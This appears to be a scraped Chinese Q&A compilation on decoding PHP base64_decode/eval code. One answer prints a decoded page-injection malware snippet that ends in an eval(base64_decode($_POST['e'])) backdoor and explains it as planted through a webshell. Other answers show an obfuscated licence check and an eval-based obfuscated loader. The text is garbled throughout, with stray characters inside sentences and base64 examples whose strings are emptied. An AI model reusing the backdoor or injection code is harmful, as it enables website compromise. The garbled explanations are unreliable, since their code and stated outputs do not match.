phpbase64解密
ion ev8l($s)#',$v)||preg_match('#[\(\[](\s*\d+,)#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'譽廳',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src= ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d)ob_start('ev8l');for($i=0;$i<count($s);$i++)}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是將參數中的<script>...</script>部分替換為<script src= ></script>，這樣你的網頁就被掛上了馬。這段代碼慶山隱應該是通過webshell上傳到你機器上的一段掛馬程序，至於webshell 的打開有很多原因，即然是php代碼那麼你的機器上很可能存在php遠程文件包含漏洞，也就是如果你的機器上存在Wordtrans、WordPress、rgboard、phpcms等php程序，那麼很可能就有這個的漏洞。
推薦解決方法：
1.恢復已被篡唯坦改的網頁
2.找一個RFI掃描器對本機進行掃描，將找到的漏洞進行修補(相應的程序網上都有對應的修補方法)
B. PHP解密 eval( base64_decode
不錯，回了無數多這種所謂的「解密」帖子，總算看見有人知道怎麼搞了，高興ing
等效的代碼如下：
<?php
class MoleObject extends MasterObject
{
var $FormHandler = null;
var $IoHandler=null;
function MoleObject($config)
{
error_reporting(0);
$this->MasterObject($config);if(18869722 && !defined("LICENSE_VAR_CODE"))exit(86707181);if(substr(md5_FILE("./include/function/global.func.php"),3,25)!=substr("",3,25))
{
error_reporting(0);
ob_clean();
for($s=11677216;$s>0;$s*=65085748){;}
}
$this->FormHandler=new FormHandler;
include_once(LIB_PATH.'io.han.php');
$this->IoHandler=new IoHandler;
$this->Execute();
}
function Execute()
{
switch($this->Code)
{
case 'modify_normal':
include(MOD_PATH.(($_obfuscate_pp3FQ7Ohubz7=2147483647 & -78165835)%27).'/'.$_obfuscate_pp3FQ7Ohubz7.'.php');
break;
case 'domodify_normal':
include(MOD_PATH.(($_obfuscate_shAHJlhD4Ndn=2147483647 & -1818658825)%27).'/'.$_obfuscate_shAHJlhD4Ndn.'.php');
break;
case 'modify_credits':
include(MOD_PATH.(($_obfuscate_2GWWxUEK7ztH=2147483647 & 890135736)%27).'/'.$_obfuscate_2GWWxUEK7ztH.'.php');
break;
case 'domodify_credits':
include(MOD_PATH.(($_obfuscate_JQQuH5KF9jyy=2147483647 & -679717690)%27).'/'.$_obfuscate_JQQuH5KF9jyy.'.php');
break;
case 'modify_header_menu':
$this->ModifyHeaderMenu();
break;
case 'domodify_header_menu':
$this->DoModifyHeaderMenu();
break;
case 'modify_header_sub_menu':
$this->ModifyHeaderSubMenu();
break;
case 'modify_header_sub_menu':
$this->DoModifyHeaderSubMenu();
break;
case 'modify_rewrite':
include(MOD_PATH.(($_obfuscate_r4cRb866G31X=2147483647 & -374888374)%27).'/'.$_obfuscate_r4cRb866G31X.'.php');
break;
case 'domodify_rewrite':
include(MOD_PATH.(($_obfuscate_kFjsOxTxxTm5=2147483647 & 1196688474)%27).'/'.$_obfuscate_kFjsOxTxxTm5.'.php');
break;
case 'modify_remote':
include(MOD_PATH.(($_obfuscate_dmnWYBFfwPZy=2147483647 & -1814999975)%27).'/'.$_obfuscate_dmnWYBFfwPZy.'.php');
break;
case 'domodify_remote':
include(MOD_PATH.(($_obfuscate_M9T56w4hBGsk=2147483647 & 332943561)%27).'/'.$_obfuscate_M9T56w4hBGsk.'.php');
break;
case 'modify_filter':
include(MOD_PATH.(($_obfuscate_gWUtSmmgjtIp=2147483647 & -962910372)%27).'/'.$_obfuscate_gWUtSmmgjtIp.'.php');
break;
case 'domodify_filter':
include(MOD_PATH.(($_obfuscate_robepjimEUCI=2147483647 & -659464081)%27).'/'.$_obfuscate_robepjimEUCI.'.php');
break;
case 'modify_latest_search':
$this->ModifyLatestSearch();
break;
case 'domodify_latest_search':
$this->DoModifyLatestSearch();
break;
case 'modify_access':
include(MOD_PATH.(($_obfuscate_RFZWBU9N2FLm=2147483647 & 975168040)%27).'/'.$_obfuscate_RFZWBU9N2FLm.'.php');
break;
case 'domodify_access':
include(MOD_PATH.(($_obfuscate_Ig1RqxiYeBex=2147483647 & 1791127976)%27).'/'.$_obfuscate_Ig1RqxiYeBex.'.php');
break;
case 'modify_seccode':
include(MOD_PATH.(($_obfuscate_yNun8HVOF41M=2147483647 & -1132193474)%27).'/'.$_obfuscate_yNun8HVOF41M.'.php');
break;
case 'do_modify_seccode':
include(MOD_PATH.(($_obfuscate_RqGJmKOedTlZ=2147483647 & 305153614)%27).'/'.$_obfuscate_RqGJmKOedTlZ.'.php');
break;
case 'modify_smtp':
include(MOD_PATH.(($_obfuscate_GZvqIIYIxcwR=2147483647 & -2091071938)%27).'/'.$_obfuscate_GZvqIIYIxcwR.'.php');
break;
case 'do_modify_smtp':
include(MOD_PATH.(($_obfuscate_eUDxyTQSnmWA=2147483647 & -25441582)%27).'/'.$_obfuscate_eUDxyTQSnmWA.'.php');
break;
case 'modify_right':
include(MOD_PATH.(($_obfuscate_L6pnR8LaKmYu=2147483647 & -29905623)%27).'/'.$_obfuscate_L6pnR8LaKmYu.'.php');
break;
case 'do_modify_right':
include(MOD_PATH.(($_obfuscate_umtTsFNTDQ2i=2147483647 & -1934952338)%27).'/'.$_obfuscate_umtTsFNTDQ2i.'.php');
break;
case 'modify_shortcut':
include(MOD_PATH.(($_obfuscate_Po7xayJ0iz3x=2147483647 & -371519643)%27).'/'.$_obfuscate_Po7xayJ0iz3x.'.php');
break;
case 'do_modify_shortcut':
include(MOD_PATH.(($_obfuscate_cFcMlzVkWpGo=2147483647 & 1925297631)%27).'/'.$_obfuscate_cFcMlzVkWpGo.'.php');
break;
default:
include(MOD_PATH.(($_obfuscate_pp3FQ7Ohubz7=2147483647 & -78165835)%27).'/'.$_obfuscate_pp3FQ7Ohubz7.'.php');
break;
}
}
function _saveRewriteConfig($domain,$name,$config)
{
return include(MOD_PATH.(($_obfuscate_OeWNnsry3PMy=2147483647 & -1082551710)%27).'/'.$_obfuscate_OeWNnsry3PMy.'.php');
}
function _writeHtaccess($abs_path)
{
return include(MOD_PATH.(($_obfuscate_x8rztwAyS8f1=2147483647 & -315296549)%27).'/'.$_obfuscate_x8rztwAyS8f1.'.php');
}
}
?>
注意看13行，這里其實是在檢測另外的文件是否被解密，注意是否有其它文件類似的辦法來檢測你這個程序。
C. php base64_decode()是什麼加密啊參數是什麼
1、base64_decode() 函數在PHP中是解碼的意思、對使用 MIME base64 編碼的數據進行解碼。
使用base64_decode()函數對簡單字元串進行解碼。
<?php
$str='==';
echobase64_decode($str);
?>
此示例將顯示：
This is an encoded string
2、與之相反，base64_encode()，使用 base64 對 data 進行編碼。
使用base64_encode()函數對簡單字元串進行編碼。
<?php
$str='Thisisanencodedstring';
echobase64_encode($str);
?>
此示例將顯示：
==
D. sql查詢base64 數據 thinkphp怎麼解密
如果爛洞你 的mysql版本是飢緩枯5.6.1以上的，可以試哪漏一下 SELECT FROM_BASE64(欄位); 這樣就可以查出來了。如果不是你要查出來用其他語音來，比如php 的base64_decode 這個函數。
E. PHP解密 （base64_decode）
你自己到這個頁面去慢慢查吧，反正後半部我給你弄出來了，你自己看。
前半部分的代碼，需要加上後半部分的代碼才能夠解密。是挺煩的。
你到這個網站去解密：http://tool.chinaz.com/Tools/Base64.aspx
$lll=0;eval(base64_decode("="));$ll=0;eval($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;eval($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll=0;$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);eval($lllllllllll(""));$lllllllll=16;$llllllll="";for(;$lllll<$lllllllllllll($l);){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);$llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$lll=($llllllllll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$llll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+=$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$lllll++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);$llllll<<=1;$lllllllll--;}eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));$lllll=0;eval($lllllllllll(""));$llllllllll="";for(;$lllll<$lllllll;){$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);}eval($lllllllllll("=="));eval($lllllllll);
F. php base64 decode 解密
?> <div id="footer" class="clearfix">
<div class="right left">&; 2009 THEME NAME. POWERED BY <a href="http://wordpress.org">WORDPRESS</a> AND <a href="http://wpcrunchy.com" title="Free and Premium Wordpress Themes">WPCRUNCHY</a></div>
<div class="credits right">Design by <a href="http://www.firecasinos.com" target="_blank">Online Casinos</a>. In collaboration with <a href="http://mmohut.com" target="_blank">Free MMORPG</a>, <a href="http://www.hostv.com" target="_blank">VPS Hosting</a> and <a href="http://www.cirtexhosting.com/video-hosting.shtml" target="_blank">Video Hosting</a></div>
</div>
</div>
<?php wp_footer(); ?>
<!--[if IE 6]>
<script>for (x in document.write) { document.write(x);}</script>
<![endif]-->
</body>
</html>
就是一段這個破東西。
G. PHP解密 eval( base64_decode
這兩個函數在php中是用得對php代碼進行加密與解密碼的base64_encode是加密，爾base64_decode是解密了，下面我們看兩個簡單實例。
base64_encode語法: string base64_decode(string data);
*/
$str='='; //定義字元串
echo base64_decode($str); //www.111cn.net一聚教程網 //輸出解碼後的內容/*
base64_encode語法: string base64_encode(string data);
*/
$str='www.111cn.net一聚教程網'; //定義字元串
echo base64_encode($str); // = //輸出編碼後的內容
看一下這個會不會對你有幫助。